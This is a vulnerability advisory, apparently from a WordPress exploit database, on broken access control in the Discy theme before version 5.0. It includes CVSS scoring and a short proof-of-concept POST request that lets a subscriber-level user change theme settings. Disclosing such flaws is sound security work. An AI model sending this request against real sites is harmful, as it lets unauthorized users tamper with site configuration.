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wpexploitVeshraj GhimireWPEX-ID:2D8020E1-6489-4555-9956-2DC190AAA61B
HistoryJul 12, 2022 - 12:00 a.m.

Discy < 5.0 - Subscriber+ Broken Access Control to change settings

2022-07-1200:00:00
Veshraj Ghimire
121

6.5 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

NONE

Integrity Impact

HIGH

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N

The theme lacks authorization checks then processing ajax requests to the discy_update_options action, allowing any logged in users (with privileges as low as Subscriber,) to change the theme options by sending a crafted POST request.

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Connection: close
Cookie: [subscriber+]

action=discy_update_options&data=<changed settings>

6.5 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

NONE

Integrity Impact

HIGH

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N

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